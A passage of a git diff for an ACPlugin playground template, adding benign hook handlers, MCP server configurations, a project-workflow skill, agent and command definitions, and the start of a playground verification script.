+此目录展示升级说明等静态 Public 文件。能力模板只提供 Command 工作流示例,不包含任何特定依赖或产品格式的升级实现。 diff --git a/packages/playground/src/agents/investigator.md b/packages/playground/src/agents/investigator.md index 90846a1..e5c04af 100644 --- a/packages/playground/src/agents/investigator.md +++ b/packages/playground/src/agents/investigator.md @@ -1,9 +1,9 @@ --- -description: 调查源码与现有知识并形成可复核证据清单 +description: 调查源码和测试并形成可复核证据清单 model: capable capabilities: - filesystem:read - search --- -读取指定范围内的源码和知识文件,逐条记录证据位置、事实、推断和未解决问题。不要修改文件;证据不足时明确停止并请求补充范围。 +读取指定范围内的源码、配置与测试,逐条记录证据位置、事实、推断和未解决问题。不要修改文件;证据不足时明确停止并请求补充范围。 diff --git a/packages/playground/src/agents/recorder.md b/packages/playground/src/agents/recorder.md index 4b6819c..f8d1399 100644 --- a/packages/playground/src/agents/recorder.md +++ b/packages/playground/src/agents/recorder.md @@ -1,9 +1,9 @@ --- -description: 把已确认结论整理成待提交的稳定知识草案 +description: 把已确认结论整理成可实施的改动草案 model: inherit capabilities: - filesystem:read - filesystem:write --- -只根据已确认结论生成结构化草案,保留来源与适用范围。当前模板不提供 transaction;实际写入前必须由完整 runtime 再次校验目标和冲突。 +只根据已确认结论生成结构化改动草案,保留来源、适用范围和验证步骤。写入前必须再次校验目标文件、现有改动和潜在冲突。 diff --git a/packages/playground/src/agents/reflector.md b/packages/playground/src/agents/reflector.md index 7ce5487..8c5ffd9 100644 --- a/packages/playground/src/agents/reflector.md +++ b/packages/playground/src/agents/reflector.md @@ -1,8 +1,8 @@ --- -description: 比较候选知识与现有事实并识别冲突和过期内容 +description: 复核候选改动并识别冲突、遗漏和回归风险 model: capable capabilities: - filesystem:read --- -比较已有知识、调查证据和候选结论,输出可提升、需修订、应删除及仍不确定的项目。不要把未经验证的对话偏好提升为稳定知识。 +比较需求、调查证据、候选改动和测试结果,输出可接受、需修订、应移除及仍不确定的项目。不要把未经验证的假设当成已实现行为。 diff --git a/packages/playground/src/commands/init.md b/packages/playground/src/commands/init.md index d9be408..48fe595 100644 --- a/packages/playground/src/commands/init.md +++ b/packages/playground/src/commands/init.md @@ -1,10 +1,26 @@ --- -description: 初始化 llmdoc v3 风格的知识工程模板 +description: 初始化一个通用的 ACPlugin 能力模板 +argumentHint: requires: skills: - - llmdoc + - project-workflow +platforms: + claude-code: + allowedTools: + - Read + - Glob + - Grep + model: sonnet + codex: + displayName: Initialize capability template + shortDescription: Plan a complete ACPlugin capability example. + brandColor: '#FACC15' + defaultPrompt: Initialize the ACPlugin capability template for the supplied target. + products: + - CHAT + - CODEX --- -为 `{{arguments}}` 规划知识目录、Domain 和首批调查入口。先展示将创建的模板和边界,等待确认后再交给完整 llmdoc runtime 执行。 +为 `{{arguments}}` 规划一个包含 Command、Skill、Agent、Hook、MCP 与 Public 文件的 ACPlugin capability template,并说明各资源的职责。 -当前 playground 只提供作者模板,不创建 Frontier、fingerprint、graph 或事务状态。 +当前 Playground 只展示作者工程结构和平台构建能力,不替目标工程实现业务逻辑。 diff --git a/packages/playground/src/commands/prune.md b/packages/playground/src/commands/prune.md index b84f332..e8765de 100644 --- a/packages/playground/src/commands/prune.md +++ b/packages/playground/src/commands/prune.md @@ -1,10 +1,10 @@ --- -description: 审查并规划清理过期的 llmdoc v3 知识 +description: 审查并规划移除不再需要的工程资源 requires: skills: - - llmdoc + - project-workflow agents: - reflector --- -审查 `{{arguments}}` 中可能过期、重复或与源码冲突的知识。输出保留、合并、删除候选及理由,等待人工确认;当前模板不执行删除或 rollback。 +使用 ACPlugin capability template 审查 `{{arguments}}` 中过期、重复或不再被引用的文件。输出保留、合并和删除建议及理由,不直接执行破坏性操作。 diff --git a/packages/playground/src/commands/update.md b/packages/playground/src/commands/update.md index 1a1f97b..0b0c958 100644 --- a/packages/playground/src/commands/update.md +++ b/packages/playground/src/commands/update.md @@ -1,10 +1,10 @@ --- -description: 根据源码变化规划 llmdoc v3 知识更新 +description: 根据需求规划并验证一次工程更新 requires: skills: - - llmdoc + - project-workflow agents: - investigator --- -调查 `{{arguments}}` 的源码和现有知识,形成带证据的候选更新、冲突与待确认项。不要在当前模板中声称已经计算 fingerprint、delta 或提交 transaction。 +使用 ACPlugin capability template 调查 `{{arguments}}` 的源码、测试和约束,形成带证据的改动建议、风险与待确认项,并列出验证命令。 diff --git a/packages/playground/src/commands/upgrade.md b/packages/playground/src/commands/upgrade.md index 5b5adb8..967cc83 100644 --- a/packages/playground/src/commands/upgrade.md +++ b/packages/playground/src/commands/upgrade.md @@ -1,10 +1,10 @@ --- -description: 规划显式的 llmdoc v3 知识格式升级 +description: 规划一个带兼容性检查的版本升级 requires: skills: - - llmdoc + - project-workflow agents: - recorder --- -针对 `{{arguments}}` 列出格式差异、兼容性风险、备份和验收步骤。此 Command 只是可发现入口,不包含真实 Migration 代码或完整惰性加载正文。 +使用 ACPlugin capability template 针对 `{{arguments}}` 列出版本差异、兼容性风险、回退方式和验收步骤。此 Command 只展示工作流,不包含特定依赖的升级实现。 diff --git a/packages/playground/src/hooks/permission-request/hook.ts b/packages/playground/src/hooks/permission-request/hook.ts new file mode 100644 index 0000000..7d15e02 --- /dev/null +++ b/packages/playground/src/hooks/permission-request/hook.ts @@ -0,0 +1,13 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 把权限决策交回宿主,证明 defer 语义可被打包而不自动授权。 */ +export default defineHook({ + event: 'PermissionRequest', + /** 返回由宿主继续处理的权限决策。 */ + run() { + return { + decision: 'defer', + reason: 'The host remains responsible for user authorization.', + }; + }, +}); diff --git a/packages/playground/src/hooks/post-compact/hook.ts b/packages/playground/src/hooks/post-compact/hook.ts new file mode 100644 index 0000000..bb2a1cb --- /dev/null +++ b/packages/playground/src/hooks/post-compact/hook.ts @@ -0,0 +1,13 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示压缩后的继续决策,不声称已恢复真实 runtime 状态。 */ +export default defineHook({ + event: 'PostCompact', + /** 返回压缩完成后的继续决策。 */ + run() { + return { + decision: 'continue', + reason: 'The static template has no continuation state to restore.', + }; + }, +}); diff --git a/packages/playground/src/hooks/post-tool-use/hook.ts b/packages/playground/src/hooks/post-tool-use/hook.ts new file mode 100644 index 0000000..095b805 --- /dev/null +++ b/packages/playground/src/hooks/post-tool-use/hook.ts @@ -0,0 +1,14 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示工具执行后的 pass 决策和非阻断上下文。 */ +export default defineHook({ + event: 'PostToolUse', + /** 返回工具执行后的非阻断观察结果。 */ + run() { + return { + decision: 'pass', + reason: 'The playground only observes successful tool completion.', + additionalContext: 'Verify claims against canonical source and the generated delivery together.', + }; + }, +}); diff --git a/packages/playground/src/hooks/pre-compact/hook.ts b/packages/playground/src/hooks/pre-compact/hook.ts index acf74cf..26ed136 100644 --- a/packages/playground/src/hooks/pre-compact/hook.ts +++ b/packages/playground/src/hooks/pre-compact/hook.ts @@ -3,6 +3,11 @@ import { defineHook } from '@tokenroll/acplugin-extension-hooks'; /** 展示压缩前扩展点;playground 不保存续接状态或阻止压缩。 */ export default defineHook({ event: 'PreCompact', - /** no-op 不阻止压缩,也不产生虚假的续接状态。 */ - run() {}, + /** 明确允许压缩,也不产生虚假的续接状态。 */ + run() { + return { + decision: 'continue', + reason: 'The template has no runtime state that must be persisted before compaction.', + }; + }, }); diff --git a/packages/playground/src/hooks/pre-tool-use/hook.ts b/packages/playground/src/hooks/pre-tool-use/hook.ts new file mode 100644 index 0000000..708b735 --- /dev/null +++ b/packages/playground/src/hooks/pre-tool-use/hook.ts @@ -0,0 +1,24 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 覆盖 matcher、timeout、statusMessage 和 Codex 上下文上限等 Hook 配置字段。 */ +export default defineHook({ + event: 'PreToolUse', + matcher: '^(Read|Glob|Grep|read|glob|grep)$', + timeout: 15, + statusMessage: 'Checking a read-only playground tool call.', + platforms: { + codex: { additionalContextLimit: 512 }, + cursor: { timeout: 10 }, + antigravity: { timeout: 10 }, + opencode: { timeout: 10 }, + pi: { timeout: 10 }, + }, + /** 只展示允许决策,不改写原始工具输入。 */ + run() { + return { + decision: 'allow', + reason: 'The configured matcher only selects read-oriented tools.', + additionalContext: 'Treat generated Platform output as build artifacts, not canonical author input.', + }; + }, +}); diff --git a/packages/playground/src/hooks/session-end/hook.ts b/packages/playground/src/hooks/session-end/hook.ts new file mode 100644 index 0000000..64b92fd --- /dev/null +++ b/packages/playground/src/hooks/session-end/hook.ts @@ -0,0 +1,10 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示会话结束 advisory,不执行写入或清理副作用。 */ +export default defineHook({ + event: 'SessionEnd', + /** 返回无副作用的会话结束提示。 */ + run() { + return { systemMessage: 'ACPlugin playground session finished without persistent runtime state.' }; + }, +}); diff --git a/packages/playground/src/hooks/session-start/hook.ts b/packages/playground/src/hooks/session-start/hook.ts index adfaea7..2f46a76 100644 --- a/packages/playground/src/hooks/session-start/hook.ts +++ b/packages/playground/src/hooks/session-start/hook.ts @@ -1,8 +1,16 @@ import { defineHook } from '@tokenroll/acplugin-extension-hooks'; -/** 展示会话开始扩展点;playground 不加载 llmdoc runtime。 */ +/** 展示会话开始扩展点;只追加能力模板的边界说明。 */ export default defineHook({ event: 'SessionStart', - /** no-op 保持宿主会话流程不变。 */ - run() {}, + statusMessage: 'Loading the ACPlugin playground boundary.', + /** 明确继续会话,并提供可移植的上下文和 advisory 结果。 */ + run() { + return { + decision: 'continue', + reason: 'The playground only contributes static template guidance.', + additionalContext: 'This project is an ACPlugin capability template; example handlers do not implement product-specific behavior.', + systemMessage: 'ACPlugin playground template loaded.', + }; + }, }); diff --git a/packages/playground/src/hooks/stop/hook.ts b/packages/playground/src/hooks/stop/hook.ts index 7a51944..6f92850 100644 --- a/packages/playground/src/hooks/stop/hook.ts +++ b/packages/playground/src/hooks/stop/hook.ts @@ -1,8 +1,13 @@ import { defineHook } from '@tokenroll/acplugin-extension-hooks'; -/** 展示停止扩展点;playground 不执行知识提交或延长会话。 */ +/** 展示停止扩展点;Playground 不执行业务写入或延长会话。 */ export default defineHook({ event: 'Stop', - /** no-op 不延长会话,也不执行知识提交。 */ - run() {}, + /** 明确完成,不延长会话,也不执行业务写入。 */ + run() { + return { + decision: 'finish', + reason: 'The capability template has no product-specific work to commit.', + }; + }, }); diff --git a/packages/playground/src/hooks/subagent-start/hook.ts b/packages/playground/src/hooks/subagent-start/hook.ts new file mode 100644 index 0000000..4a32314 --- /dev/null +++ b/packages/playground/src/hooks/subagent-start/hook.ts @@ -0,0 +1,13 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示子代理启动时的上下文补充。 */ +export default defineHook({ + event: 'SubagentStart', + /** 返回子代理启动时的模板上下文。 */ + run() { + return { + additionalContext: 'Use the investigator, recorder, and reflector roles as template guidance only.', + systemMessage: 'ACPlugin playground subagent template activated.', + }; + }, +}); diff --git a/packages/playground/src/hooks/subagent-stop/hook.ts b/packages/playground/src/hooks/subagent-stop/hook.ts new file mode 100644 index 0000000..7fa5860 --- /dev/null +++ b/packages/playground/src/hooks/subagent-stop/hook.ts @@ -0,0 +1,13 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示子代理结束时的 finish 决策。 */ +export default defineHook({ + event: 'SubagentStop', + /** 返回子代理结束时的完成决策。 */ + run() { + return { + decision: 'finish', + reason: 'No additional playground-only work is required.', + }; + }, +}); diff --git a/packages/playground/src/hooks/user-prompt-submit/hook.ts b/packages/playground/src/hooks/user-prompt-submit/hook.ts new file mode 100644 index 0000000..a90e2f2 --- /dev/null +++ b/packages/playground/src/hooks/user-prompt-submit/hook.ts @@ -0,0 +1,14 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示用户提示提交前的允许决策和上下文补充。 */ +export default defineHook({ + event: 'UserPromptSubmit', + /** 返回允许用户提示继续处理的决策。 */ + run() { + return { + decision: 'allow', + reason: 'The playground does not restrict author prompts.', + additionalContext: 'Keep conclusions tied to files that exist in this template repository.', + }; + }, +}); diff --git a/packages/playground/src/mcp/local-tools/mcp.ts b/packages/playground/src/mcp/local-tools/mcp.ts new file mode 100644 index 0000000..6f0766b --- /dev/null +++ b/packages/playground/src/mcp/local-tools/mcp.ts @@ -0,0 +1,11 @@ +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +/** 可被真实 initialize、tools/list 和 tools/call 探测的本地 stdio MCP 模板。 */ +export default defineMcpServer({ + transport: 'stdio', + entry: './server.ts', + env: { + PLAYGROUND_MODE: { value: 'template' }, + PLAYGROUND_TOKEN: { env: 'PLAYGROUND_LOCAL_TOKEN' }, + }, +}); diff --git a/packages/playground/src/mcp/local-tools/server.ts b/packages/playground/src/mcp/local-tools/server.ts new file mode 100644 index 0000000..8445b2d --- /dev/null +++ b/packages/playground/src/mcp/local-tools/server.ts @@ -0,0 +1,92 @@ +/** JSON-RPC 请求 ID 的可移植表示。 */ +type RequestId = string | number | null; + +/** Playground MCP 只读取 smoke 和演示调用所需的请求字段。 */ +interface JsonRpcRequest { + readonly id?: RequestId; + readonly method?: string; + readonly params?: unknown; +} + +/** 向 stdout 写入一行确定性的 JSON-RPC 消息。 */ +function respond(id: RequestId, result: unknown): void { + process.stdout.write(`${JSON.stringify({ jsonrpc: '2.0', id, result })}\n`); +} + +/** 向 stdout 写入不包含输入或环境值的稳定 JSON-RPC 错误。 */ +function reject(id: RequestId, code: number, message: string): void { + process.stdout.write(`${JSON.stringify({ jsonrpc: '2.0', id, error: { code, message } })}\n`); +} + +/** 判断未知值是否为可安全索引的普通对象。 */ +function isRecord(value: unknown): value is Readonly> { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** 处理一条完整 JSON-RPC 请求;通知不产生响应。 */ +function handle(request: JsonRpcRequest): void { + if (request.method === 'notifications/initialized') + return; + if (request.id === undefined) + return; + if (request.method === 'initialize') { + /** 客户端请求的协议版本;缺失时使用模板固定版本。 */ + const protocolVersion = isRecord(request.params) && typeof request.params.protocolVersion === 'string' + ? request.params.protocolVersion + : '2025-11-25'; + respond(request.id, { + protocolVersion, + capabilities: { tools: {} }, + serverInfo: { name: 'acplugin-playground', version: '0.1.0' }, + }); + return; + } + if (request.method === 'tools/list') { + respond(request.id, { + tools: [{ + name: 'inspect-template', + description: 'Describe the static ACPlugin playground boundary.', + inputSchema: { + type: 'object', + properties: {}, + additionalProperties: false, + }, + }], + }); + return; + } + if (request.method === 'tools/call') { + /** tools/call 的工具名必须来自 params.name。 */ + const name = isRecord(request.params) ? request.params.name : undefined; + if (name !== 'inspect-template') { + reject(request.id, -32_602, 'Unknown playground tool.'); + return; + } + respond(request.id, { + content: [{ + type: 'text', + text: 'This is a static ACPlugin capability template; product-specific behavior is intentionally absent.', + }], + isError: false, + }); + return; + } + reject(request.id, -32_601, 'Method not found.'); +} + +/** 当前尚未形成完整换行分帧的 stdin 文本。 */ +let inputBuffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk: string) => { + inputBuffer += chunk; + /** 本次数据后形成的完整行与末尾半行。 */ + const lines = inputBuffer.split('\n'); + inputBuffer = lines.pop() ?? ''; + for (const line of lines) { + if (line.trim() === '') + continue; + /** JSON.parse 结果只读取 JsonRpcRequest 的受控字段。 */ + const request = JSON.parse(line) as JsonRpcRequest; + handle(request); + } +}); diff --git a/packages/playground/src/mcp/oauth-docs/mcp.ts b/packages/playground/src/mcp/oauth-docs/mcp.ts new file mode 100644 index 0000000..72c9bd4 --- /dev/null +++ b/packages/playground/src/mcp/oauth-docs/mcp.ts @@ -0,0 +1,11 @@ +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +/** 使用 OAuth scope 的远程 Streamable HTTP MCP 模板。 */ +export default defineMcpServer({ + transport: 'http', + url: 'https://mcp.example.com/oauth-docs', + auth: { + type: 'oauth', + scopes: ['resources:read', 'templates:read'], + }, +}); diff --git a/packages/playground/src/mcp/protected-docs/mcp.ts b/packages/playground/src/mcp/protected-docs/mcp.ts new file mode 100644 index 0000000..c97f613 --- /dev/null +++ b/packages/playground/src/mcp/protected-docs/mcp.ts @@ -0,0 +1,12 @@ +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +/** 同时展示 Bearer、环境 Header 和公开字面量 Header 的远程 MCP 模板。 */ +export default defineMcpServer({ + transport: 'http', + url: 'https://mcp.example.com/protected-docs', + auth: { type: 'bearer', env: 'PLAYGROUND_MCP_TOKEN' }, + headers: { + 'X-Project': { value: 'acplugin-capability-playground' }, + 'X-Tenant': { env: 'PLAYGROUND_MCP_TENANT' }, + }, +}); diff --git a/packages/playground/src/mcp/public-docs/mcp.ts b/packages/playground/src/mcp/public-docs/mcp.ts new file mode 100644 index 0000000..82d246a --- /dev/null +++ b/packages/playground/src/mcp/public-docs/mcp.ts @@ -0,0 +1,8 @@ +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +/** 无认证的远程 Streamable HTTP MCP 模板。 */ +export default defineMcpServer({ + transport: 'http', + url: 'https://mcp.example.com/public-docs', + auth: { type: 'none' }, +}); diff --git a/packages/playground/src/skills/llmdoc/SKILL.md b/packages/playground/src/skills/llmdoc/SKILL.md deleted file mode 100644 index 6111674..0000000 --- a/packages/playground/src/skills/llmdoc/SKILL.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -description: 规划和维护 llmdoc v3 风格的项目知识 -invocation: - user: true - model: true ---- - -# llmdoc v3 authoring template - -在需要调查项目、提出知识候选、审查过期内容或规划显式升级时使用此 Skill。 - -## 工作方式 - -1. 先确认任务范围与当前知识边界。 -2. 调查源码并记录可复核证据,不把推测写成事实。 -3. 区分候选变化、冲突、删除建议和仍需用户确认的决策。 -4. 只有完整 runtime 才能计算 fingerprint、更新 graph 并执行 transaction。 - -## References - -- [Frontier](references/frontier.md) -- [Transaction](references/transaction.md) -- [Reflection promotion](references/reflection-promotion.md) -- [Compact continuation](references/compact-continuation.md) - -这些 references 描述目标模型,不代表 playground 已实现相应状态机或持久化逻辑。 diff --git a/packages/playground/src/skills/llmdoc/references/compact-continuation.md b/packages/playground/src/skills/llmdoc/references/compact-continuation.md deleted file mode 100644 index 433a817..0000000 --- a/packages/playground/src/skills/llmdoc/references/compact-continuation.md +++ /dev/null @@ -1,5 +0,0 @@ -# Compact continuation - -完整 runtime 应在上下文压缩前保存最小续接状态,并在新上下文中校验版本和 fingerprint 后恢复任务。 - -当前 `PreCompact` Hook 是 no-op,不读取状态、不写续接文件,也不阻止平台压缩流程。 diff --git a/packages/playground/src/skills/llmdoc/references/frontier.md b/packages/playground/src/skills/llmdoc/references/frontier.md deleted file mode 100644 index e520bcb..0000000 --- a/packages/playground/src/skills/llmdoc/references/frontier.md +++ /dev/null @@ -1,5 +0,0 @@ -# Frontier - -Frontier 表示一次知识维护会话中已经调查、仍待调查和等待确认的边界。完整实现应使用稳定 ID 和输入 fingerprint 识别候选是否仍适用。 - -本模板不保存 Frontier,也不根据文件变化自动推进状态;Command 只能要求调用方显式列出范围和证据。 diff --git a/packages/playground/src/skills/llmdoc/references/reflection-promotion.md b/packages/playground/src/skills/llmdoc/references/reflection-promotion.md deleted file mode 100644 index 02b73c2..0000000 --- a/packages/playground/src/skills/llmdoc/references/reflection-promotion.md +++ /dev/null @@ -1,5 +0,0 @@ -# Reflection promotion - -反思内容只有在拥有明确来源、稳定适用范围并通过冲突审查后,才适合提升为项目知识。一次性的推测、对话状态和未经验证的偏好应留在候选区。 - -当前 playground 只提供这一判断框架,不维护 promotion queue 或持久化元数据。 diff --git a/packages/playground/src/skills/llmdoc/references/transaction.md b/packages/playground/src/skills/llmdoc/references/transaction.md deleted file mode 100644 index 8325825..0000000 --- a/packages/playground/src/skills/llmdoc/references/transaction.md +++ /dev/null @@ -1,5 +0,0 @@ -# Transaction - -完整 llmdoc v3 应先构造并校验全部候选知识,再以可恢复事务提交,任何失败都保留上一次完整状态。 - -本模板没有知识 writer、stage、backup、swap 或 rollback。不要把 ACPlugin 自身的产物事务误认为 llmdoc 知识事务已经实现。 diff --git a/packages/playground/src/skills/project-workflow/SKILL.md b/packages/playground/src/skills/project-workflow/SKILL.md new file mode 100644 index 0000000..28e6c2e --- /dev/null +++ b/packages/playground/src/skills/project-workflow/SKILL.md @@ -0,0 +1,44 @@ +--- +description: 调查、实施和复核通用工程任务 +invocation: + user: true + model: true +platforms: + claude-code: + allowedTools: + - Read + - Glob + - Grep + context: fork + agent: Explore + codex: + displayName: Project workflow + shortDescription: Plan, implement, and verify scoped project changes. + iconSmall: ./assets/icon-small.svg + iconLarge: ./assets/icon-large.svg + brandColor: '#FACC15' + defaultPrompt: Inspect the repository and propose a verified implementation plan. + products: + - CHAT + - CODEX +--- + +# Project workflow capability template + +在需要调查工程、规划改动、复核实现或准备交付时使用此 Skill。 + +## 工作方式 + +1. 确认任务范围、约束和预期输出。 +2. 调查源码与测试并记录可复核证据,不把推测写成事实。 +3. 实施最小改动,保留用户已有工作并明确风险。 +4. 运行与风险匹配的验证,并给出可复现的交付说明。 + +## References + +- [Planning](references/planning.md) +- [Verification](references/verification.md) +- [Review](references/review.md) +- [Context continuation](references/context-continuation.md) + +这些 references 是通用工作流示例,第三方作者可以替换为自己的领域说明和辅助资源。 diff --git a/packages/playground/src/skills/project-workflow/assets/icon-large.svg b/packages/playground/src/skills/project-workflow/assets/icon-large.svg new file mode 100644 index 0000000..8e64d63 --- /dev/null +++ b/packages/playground/src/skills/project-workflow/assets/icon-large.svg @@ -0,0 +1,5 @@ + + ACPlugin capability template + + + diff --git a/packages/playground/src/skills/project-workflow/assets/icon-small.svg b/packages/playground/src/skills/project-workflow/assets/icon-small.svg new file mode 100644 index 0000000..d75cd6e --- /dev/null +++ b/packages/playground/src/skills/project-workflow/assets/icon-small.svg @@ -0,0 +1,5 @@ + + ACPlugin capability template + + + diff --git a/packages/playground/src/skills/project-workflow/references/context-continuation.md b/packages/playground/src/skills/project-workflow/references/context-continuation.md new file mode 100644 index 0000000..eefe636 --- /dev/null +++ b/packages/playground/src/skills/project-workflow/references/context-continuation.md @@ -0,0 +1,5 @@ +# Context continuation + +长任务应保留最小续接信息:当前目标、已完成改动、验证结果、仍待处理步骤和不可违反的约束。 + +本模板的 `PreCompact` 与 `PostCompact` Hook 只展示协议结果,不持久化状态;真实 Extension 可以按产品需求实现自己的安全续接机制。 diff --git a/packages/playground/src/skills/project-workflow/references/planning.md b/packages/playground/src/skills/project-workflow/references/planning.md new file mode 100644 index 0000000..cfb49f7 --- /dev/null +++ b/packages/playground/src/skills/project-workflow/references/planning.md @@ -0,0 +1,5 @@ +# Planning + +开始实现前,列出目标、明确排除项、受影响 package、输入来源和可验收结果。 + +当需求仍有歧义时,区分能够安全假设的细节和会改变架构方向的用户决策。计划应保持可分批执行,每一步都有独立验证方式。 diff --git a/packages/playground/src/skills/project-workflow/references/review.md b/packages/playground/src/skills/project-workflow/references/review.md new file mode 100644 index 0000000..2f77b74 --- /dev/null +++ b/packages/playground/src/skills/project-workflow/references/review.md @@ -0,0 +1,5 @@ +# Review + +复核候选改动是否满足需求、是否破坏既有不变量,以及测试是否真正覆盖失败路径而非只覆盖文件存在性。 + +明确区分必须修复的问题、可选改进和风格偏好;每条结论都应指向可复核的代码或测试证据。 diff --git a/packages/playground/src/skills/project-workflow/references/verification.md b/packages/playground/src/skills/project-workflow/references/verification.md new file mode 100644 index 0000000..e3d7ceb --- /dev/null +++ b/packages/playground/src/skills/project-workflow/references/verification.md @@ -0,0 +1,5 @@ +# Verification + +验证应覆盖类型、静态规则、单元测试、集成边界和真实生成产物,并根据改动风险选择必要集合。 + +不要只检查命令退出码:同时检查报告、文件内容、权限、引用闭包和不支持能力是否没有生成伪产物。 diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 643c079..37cfb2f 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -373,12 +373,27 @@ importers: '@tokenroll/acplugin-extension-hooks': specifier: workspace:^ version: link:../extensions/hooks + '@tokenroll/acplugin-extension-mcp': + specifier: workspace:^ + version: link:../extensions/mcp + '@tokenroll/acplugin-platform-antigravity': + specifier: workspace:^ + version: link:../platforms/antigravity '@tokenroll/acplugin-platform-claude-code': specifier: workspace:^ version: link:../platforms/claude-code '@tokenroll/acplugin-platform-codex': specifier: workspace:^ version: link:../platforms/codex + '@tokenroll/acplugin-platform-cursor': + specifier: workspace:^ + version: link:../platforms/cursor + '@tokenroll/acplugin-platform-opencode': + specifier: workspace:^ + version: link:../platforms/opencode + '@tokenroll/acplugin-platform-pi': + specifier: workspace:^ + version: link:../platforms/pi '@types/node': specifier: 'catalog:' version: 20.19.43 diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index 4b1212f..c116b83 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -47,9 +47,22 @@ "packages/docs/.vitepress/config.mts", "packages/docs/.vitepress/theme/index.ts", "packages/playground/acplugin.config.ts", + "packages/playground/src/hooks/permission-request/hook.ts", + "packages/playground/src/hooks/post-compact/hook.ts", + "packages/playground/src/hooks/post-tool-use/hook.ts", "packages/playground/src/hooks/pre-compact/hook.ts", + "packages/playground/src/hooks/pre-tool-use/hook.ts", + "packages/playground/src/hooks/session-end/hook.ts", "packages/playground/src/hooks/session-start/hook.ts", "packages/playground/src/hooks/stop/hook.ts", + "packages/playground/src/hooks/subagent-start/hook.ts", + "packages/playground/src/hooks/subagent-stop/hook.ts", + "packages/playground/src/hooks/user-prompt-submit/hook.ts", + "packages/playground/src/mcp/local-tools/mcp.ts", + "packages/playground/src/mcp/local-tools/server.ts", + "packages/playground/src/mcp/oauth-docs/mcp.ts", + "packages/playground/src/mcp/protected-docs/mcp.ts", + "packages/playground/src/mcp/public-docs/mcp.ts", "packages/test/test/architecture.test.ts", "packages/test/test/build.test.ts", "packages/test/test/cli.test.ts", diff --git a/scripts/verify-playground.mjs b/scripts/verify-playground.mjs index aadd428..7d002cb 100644 --- a/scripts/verify-playground.mjs +++ b/scripts/verify-playground.mjs @@ -1,6 +1,9 @@ -import { execFile } from 'node:child_process'; +import { execFile, spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; import path from 'node:path'; import process from 'node:process'; +import { clearTimeout, setTimeout } from 'node:timers'; import { promisify } from 'node:util'; import { fileURLToPath } from 'node:url'; @@ -10,86 +13,820 @@ const execute = promisify(execFile); const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); /** Playground 工程根目录。 */ const playground = path.join(root, 'packages/playground'); -/** 已构建的真实 acplugin CLI 入口。 */ +/** Playground 的完整托管输出目录。 */ +const outputRoot = path.join(playground, 'dist'); +/** 已构建的真实 ACPlugin CLI 入口。 */ const cli = path.join(root, 'packages/acplugin/dist/cli.mjs'); +/** 构建时注入、但绝不能进入报告或产物的 Secret 标记。 */ +const secretMarker = 'PLAYGROUND_SECRET_MUST_NOT_LEAK_7c2e9a'; +/** 六个官方 Platform 的固定顺序。 */ +const platforms = ['antigravity', 'claude-code', 'codex', 'cursor', 'opencode', 'pi']; +/** 四个规范 Command ID。 */ +const commands = ['init', 'prune', 'update', 'upgrade']; +/** 三个规范 Agent ID。 */ +const agents = ['investigator', 'recorder', 'reflector']; +/** Skill 中必须按原始字节复制的辅助文件。 */ +const skillAuxiliary = [ + 'assets/icon-large.svg', + 'assets/icon-small.svg', + 'references/context-continuation.md', + 'references/planning.md', + 'references/review.md', + 'references/verification.md', +]; +/** 11 个 portable Hook 的 ID 与规范事件名。 */ +const hookEvents = Object.freeze({ + 'permission-request': 'PermissionRequest', + 'post-compact': 'PostCompact', + 'post-tool-use': 'PostToolUse', + 'pre-compact': 'PreCompact', + 'pre-tool-use': 'PreToolUse', + 'session-end': 'SessionEnd', + 'session-start': 'SessionStart', + 'stop': 'Stop', + 'subagent-start': 'SubagentStart', + 'subagent-stop': 'SubagentStop', + 'user-prompt-submit': 'UserPromptSubmit', +}); +/** 每个平台对每个 portable Hook 事件的精确兼容性结论。 */ +const hookEventLevels = Object.freeze({ + 'antigravity': { + 'permission-request': 'unsupported', + 'post-compact': 'unsupported', + 'post-tool-use': 'native', + 'pre-compact': 'native', + 'pre-tool-use': 'native', + 'session-end': 'native', + 'session-start': 'native', + 'stop': 'unsupported', + 'subagent-start': 'unsupported', + 'subagent-stop': 'unsupported', + 'user-prompt-submit': 'unsupported', + }, + 'claude-code': Object.fromEntries(Object.keys(hookEvents).map(id => [id, 'native'])), + 'codex': Object.fromEntries(Object.keys(hookEvents).map(id => [id, 'native'])), + 'cursor': { + 'permission-request': 'unsupported', + 'post-compact': 'unsupported', + 'post-tool-use': 'transform', + 'pre-compact': 'transform', + 'pre-tool-use': 'transform', + 'session-end': 'transform', + 'session-start': 'transform', + 'stop': 'transform', + 'subagent-start': 'transform', + 'subagent-stop': 'transform', + 'user-prompt-submit': 'transform', + }, + 'opencode': { + 'permission-request': 'unsupported', + 'post-compact': 'native', + 'post-tool-use': 'native', + 'pre-compact': 'unsupported', + 'pre-tool-use': 'native', + 'session-end': 'degraded', + 'session-start': 'native', + 'stop': 'degraded', + 'subagent-start': 'unsupported', + 'subagent-stop': 'unsupported', + 'user-prompt-submit': 'native', + }, + 'pi': { + 'permission-request': 'unsupported', + 'post-compact': 'native', + 'post-tool-use': 'native', + 'pre-compact': 'native', + 'pre-tool-use': 'native', + 'session-end': 'native', + 'session-start': 'native', + 'stop': 'degraded', + 'subagent-start': 'unsupported', + 'subagent-stop': 'unsupported', + 'user-prompt-submit': 'native', + }, +}); 